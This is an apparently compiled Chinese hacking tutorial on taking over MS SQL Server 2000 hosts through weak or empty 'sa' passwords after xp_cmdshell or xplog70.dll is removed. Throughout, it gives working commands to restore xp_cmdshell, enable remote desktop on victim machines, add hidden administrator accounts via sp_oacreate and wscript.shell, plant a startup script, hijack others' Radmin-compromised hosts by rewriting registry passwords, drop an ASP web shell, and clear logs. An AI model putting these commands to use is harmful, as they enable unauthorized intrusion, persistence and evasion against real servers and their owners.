完全终结sa 当xplog70.dll文件被删除后提权

(一)用SQL连接器恢复XP_CMDSHLLE的命令
(1)SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’

(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入
sp_addextendedproc ’xp_cmdshell’,’xpsql70.dll’
   去除
sp_dropextendedproc ’xp_cmdshell’

(3)MSSQL2000
sp_addextendedproc ’xp_cmdshell’,’xplog70.dll’

   修改sa密码
sp_password @old = null, @new = ’complexpwd’, @loginame =’sa’
   这个很简单,自己堵后门用:)
(二)在可以运行XP_CMDSHELL的机器上直接开3389不需要上传的
实例过程:
连接到主机:202.xxx.xxx.xxx //大家可以用sql连接器连上有空口令的sql肉机
命令:
xp_cmdshell "type c:\boot.ini" // 输入命令,看系统,server版的才能 开3389
执行成功,结果:
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server" /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server" /fastdetect

命令:
xp_cmdshell "echo [Components] > c:\duguxike" 
//在c盘根目录建写入一个文件,文件名duguxike大家可以自己改为自己的
执行成功,结果:
命令:
xp_cmdshell "echo TsEnable = on >> c:\duguxike" //追加写入
执行成功,结果:
命令:
xp_cmdshell "type c:\duguxike" //看看duguxike里的内容是否正确
执行成功,结果:
[Components] 
TsEnable = on 
TsEnable = on 

命令:
xp_cmdshell "sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\duguxike /q" 
//开3389,成功的话过会肉机会重启!!
执行成功,结果:
GetLocalManagedApplications returned (2)
之后就看大家的了,不过要记得册除新建的duguxike文件哦!!
(三)不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user gchn aaa /add’--

如果XPCMDSHLL被删了第一条恢复
第二条可以执行XPCMDSHELL但是无法利用差异备分来上传的情况下使用
(本人WIN2000下测试成功)
第三条XPLOG70.DLL被删除的情况下直接添加帐号
前提对方了开了3389 139 23才好用
但是我现在无法在XPLOG70.DLL被删而且没有开3389的机器上拿到系统权限
哪为高人来指点一下!
(四)当xplog70.dll文件被删除后
起初,笔者也是大叹可惜的,因为如果只是xp_cmdshell被删除还好说;
可是如果连xplog70.dll也被删除了,这该如何是好?
狂查资料!
晕啊,怎么到处都没有说的呢?难道没有解决办法吗?
于是,只好自己想办法。可是从那里下手呢?想来想去,还是从sql server本身着手看看。
打开查询分析器。
用你捕获的sa弱口令进入目标机器,当然我们的最终目标是操纵主机而不仅仅是操纵人家的数据库哦 :)
省略思考过程若干。。。。。。(脑细胞累死一大批)
突然,嘎嘎。。。怎么有这么两个存储过程啊sp_oacreatesp_oamethod,再查查他们的作用和语法,嘿嘿。。。皇天不负苦心人啊。
交待大家怎么用好了,具体的描述,我感觉自己写不出来,没法子,从小讨厌作文。
只要你连接上目标机,并发现这两个存储过程没删除
(99%都没删除,看来管理员们都不了解这些存储过程的强大功能啊),那么利用您的查询分析器所有的sa弱口令机器都可以控制咯!
比如我给他添加一个用户!

declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user gchn aaa /add’--


呵呵,如果您发现,cmd.exe都被删掉了,试试command命令,如果这也被删掉了,那这个管理员太变态了。
那你上传个试试,不行,就跑吧。

(五)绕过Xplog70.dll玩
因为是数据库是SA权限连接的,我首先想到的是利用下面的命令:

exec master.dbo.sp_addlogin renwoxin 

我的目的是添加数据库用户“renwoxin”,然后将将其加入“Sysadmin”组:

Exec master.dbo.sp_addsrvrolemember renwoxin,sysadmin 

然后就可以用祭出我们的“屠库宝刀”——SQL查询分析器了。

开始我还抱着一丝侥幸,希望可以通过: sp_addextendedproc 

Xp_cmdshell,@dllname='Xplog70.dll'

添加Xp_cmdshell扩展过程。可惜SQL输出如下:

数据库中已存在名为Xp_cmdshell 的对象

为了确认Xp_cmdshell是否被删除我提交如下语句:

select count(*) from master.dbo.sysobjects where xtype='X' and name=Xp_cmdshell 

返回1,看来并未删除Xp_cmdshell对象,那问题应该是出在Xplog70.dll这个文件了,也许被改名或者删除了。

到百度一通狂搜,终于找到一篇文章,文中提出了一种方法,用SQL查询分析器写入如下指令:

Declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate ’scripting.filesystemobject’, @o out ——

这两行代码是建立SQL的文本对象

exec sp_oamethod @o, ’createtextfile’, @f out,’c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs’, 1 --

在启动菜单里写入a.vbs,当然这里只支持中文

exec @ret = sp_oamethod @f, ’writeline’, NULL,’set wshshell=createobject("wscript.shell")’ ——

单引号里的都是a.vbs的内容,要一行一行的写,下同。

exec @ret = sp_oamethod @f, ’writeline’, NULL,’a=wshshell.run ("cmd.exe /c net user user1 123 /add",0)’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’b=wshshell.run ("cmd.exe /c net localgroup administrators user1 /add",0)’ --

a.vbs内容结束按照作者的说法,执行查循后会在服务器的启动程序里写入一个a.vbs脚本。等服务器重启就可以添加一个user1密码为123的用户。可是要等服务器重启,要到哪一天啊?! 对着这段代码是我是上看、下看、左看、右看,你还别说真看出点什么了。这个脚本用Sp_oamethod来调用OLE对象的Writeline方法,突然灵光一闪,我能不能用Sp_oamethod来执行CMD命令呢?赶紧找出“SQL Server联机丛书”,其中对Sp_OAMethod描述如下:

 sp_OAMethod 调用 OLE 对象的方法。
语法 

sp_OAMethod objecttoken, ????methodname ????[, returnvalue OUTPUT] ????[ , [ @parametername = ] parameter [ OUTPUT ] ????[...n]] 

参数 

objecttoken 是先前用 sp_OACreate 创建的 OLE 对象令牌。 
methodname 是要调用的 OLE 对象的方法名。

用WScript.Shell对象的Run方法来运行Cmd.exe不就可以执行Cmd命令了吗?于是构造如下语句: 

DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net user renwoxin$ test /add','0','true'

小提示:上面语句的详细解释是:用Sp_OACreate创建OLE 对象Wscript.Shell的令牌。用Sp_oamethod调用Wscript.Shell的Run方法来执行CMD语句,添加用户renwoxin$,密码为test。“0”和“true”是RUN方法的参数:“0”可选。表示程序窗口外观的整数值,表示语句执行时隐藏CMD窗口,如果不加的话,在服务器上会有一个DOS窗口闪一下,容易暴露;“true”可选。布尔值,表示在继续执行脚本中的下一条语句之前,脚本是否等待执行完程序。如果设为True,则在执行完程序后才执行脚本,RUN方法返回由程序返回的任何错误代码。如果设为False(默认值),则RUN方法将自动在启动程序后立即返回0(不是错误代码)。   

上面的代码执行后,SQL查询分析器返回一个0值,这表示执行成功了,再将renwoxin$提升为管理员: 

DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net localgroup administrators renwoxin$ /add','0','true'

这次又返回一个0值,还等什么,赶快从3389连过去看看,顺利进入!大家肯定会想到这个RUN可以执行几乎所有的CMD命令,只是如果你要看到结果,就需要自己构造表来存储了,大家可以发挥自己的想象力了!找到SQL安装目录下的Binn文件夹,发现其中的Xplog70.dll果然被删除了。再检查一下,用GetWebShell提交的ASP木马,内容居然是乱码!反正是不能执行,到现在我还是想不通是为什么,希望大侠们能著文传授。到此文章也该结束了,希望能尽快看


(六)不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

EXEC master.dbo.xp_cmdshell ’dir c:\’


但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。
对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreatesp_OAGetPropertysp_OAMethod。前提是服务器上的Wscript.shellScripting.FileSystemObject可用。

sp_OACreate
在 Microsoft® SQL Server™ 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, | clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...] 
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]

思路:
先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。
以下是相应的SQL语句

Create TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate ’wscript.shell’,@shell output
EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c dir c:\>c:\temp.txt’,’0’,’true’
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC sp_oacreate ’scripting.filesystemobject’,@fso output
EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,’Readline’,@out out
Insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
Drop TABLE MYTMP


注意:
如果你在进行注入测试时使用这种方法就不能有这样多的换行,必须把它们合为一行,每个语句中间用空格符隔开。


( 七)利用脚本抢别人的4899肉鸡,呵呵
这个4899肉鸡现在你不知道密码是无法登陆的,那我就去注册表修改密码
我把他改成123456
看以下脚本
我在他的系统盘生成一个hack123.reg的注册表文件
接下来就是写入注册表信息
好,写好了
现在我们导入
到如成功
删掉那个注册表文件
OK了,我们再用123456连接4899肉鸡看看
完毕
附加:
加NT帐号

declare @cmd INT
exec sp_oacreate ’wscript.shell’,@cmd output
exec sp_oamethod @cmd,’run’,null,’net user hack hack /add’,’0’,’true’

declare @cmd INT
exec sp_oacreate ’wscript.shell’,@cmd output
exec sp_oamethod @cmd,’run’,null,’net localgroup administrators hack /add’,’0’,’true’


修改RAD密码

declare @cmd INT
exec sp_oacreate ’wscript.shell’,@cmd output
exec sp_oamethod @cmd,’run’,null,’cmd.exe /c echo Windows Registry Editor Version 5.00 > hack123.reg’,’0’,’true’

declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters] >> hack123.reg','0','true'
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo "Parameter"=hex:cf,c5,34,37,ad,b4,b7,63,5c,da,9f,d0,fc,61,f0,0b >> hack123.reg','0','true'
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'regedit /s hack123.reg','0','true'
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c del hack123.reg /f /q','0','true'


(八)当SA遇到XP_CMDSHELL时

有时候在入侵的时候总是碰到先烦恼的问题,比如SA遇到xp_cmdshell时,如果管理员把xp_cmdshell删了
怎么办呢?总是眼看着肉鸡跑了吧!今天我就对XP_CMDSHELL做一先解释,希望大家能看明白,能看懂
众所周知,在MSSQL中,通过XP_cmdshell存储扩展,拥护具有sysadmin权限,用来执行系统任意命令
但是那先网管也不是吃素的,都把它删除,所以在SQL Injection攻击中,获得xp_cmdshell的执行权限
才是最终的目标,在MSSQL中一共有8中权限分别是
sysadmin dbcreator diskadmin processadmin 
serveradmin setupadmin securityadmin bulkadmin 

这8种 每一个都具有不同的权限,大家都因该可
以知道其中的sysadmin权限是最高的,也是我们想要的。。。
大家都知道在MSSQL中,SA的权限是至高无上的了,但是有时获得了个SA 却无法执行命令是,是不是很郁
闷了呢?获得了个SA一般我们都用SQLTOOLS.EXE连接吧!一个比较好的工具,我也喜欢,呵呵!首先还是
让我们看看吧!用SQLTOOLS.EXE连上后看看它的XP_cmdshell存储扩展是不是被删了,在“利用目录”菜单
中打开“执行数据库命令” 填入我们要执行的命令:

Select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’


如果返回结果是1的话,说明它没有删除这个扩展存储过程,我们可以执行DOS命令了,如果不行呢?
接着看,还有办法,我们直接在数据库命令执行窗写入:

Exec master.dbo.addextendedproc ’xp_cmdshell’, ’xplog70.dll’; select count(*) from 
master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’


上面的意思就是恢复默认的存储过程,如果返回1的话说明恢复成功,不然就是存储扩展被删除了,需要我
们给它上传个xplog70.dll用SQLTOOLS.EXE自带的文件上传功能可以轻松实现了,把xplog70.dll文件传到
对方的

c:\winnt\system32

下,(不行的话,需传到对方的MSSQL目录里)在执行数据库命令:

Exec master.dbo.addextendedproc ’xp_cmdshell’, ’c:\winnt\system32\xplog70.dll’

好了,接下来就是我们常用的命令 net user 和 net localgroup administrators
命令了,还有清楚IIS日记和MSSQL日记就OK了!

如果还不行:

服务器: 消息 2812,级别 16,状态 62,行 1
找不到預存程序 ’master.dbo.addextendedproc’。

那也恢复一下addextendedproc’
use master
go
create procedure sp_addextendedproc
@functname nvarchar(517),
@dllname varchar(255)
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,’sp_addextendedproc’)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0)

如果还不行:


odsole70.dll 中找不到函數 sp_oacreate。原因: 127(找不到指定的程序。)。

删除了odsole70.dll或者被权限了。


上面的方法是可以了但我们还可以饶过xp_cmdshell ,来执行系统命令,大家知道在MSSQL中可以通过两个
存储扩展来创建activex自动脚本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通过它们执行系
统命令的语句我们可以自己给他加上哦,代码如下:

declare @o int
exec sp_oacreate ’wscript.shell’, @o out
exec sp_oamethod @o, ’run’, NULL, ’net start telnet’


接下来呢就是通过FSO对服务器进行文件管理或者直接创建文件并写入数据,呵呵,可以直接写一个WEBSHE
LL到服务器上去哦!!!HOHO~~~~

declare @o int, @f int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’creatextifile’, @f out, ’c:\inetpub\wwwroot\mad.asp’, 1
exec @ ret = sp_oamethod @f, ’writeline’, NULL, ’<% set o = 
server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>’


上面的代码就在服务器c:\inetpub\wwwroot\mad.asp上创建了了只有两行的代码我们直接连上去就OK了
大家不防试试吧。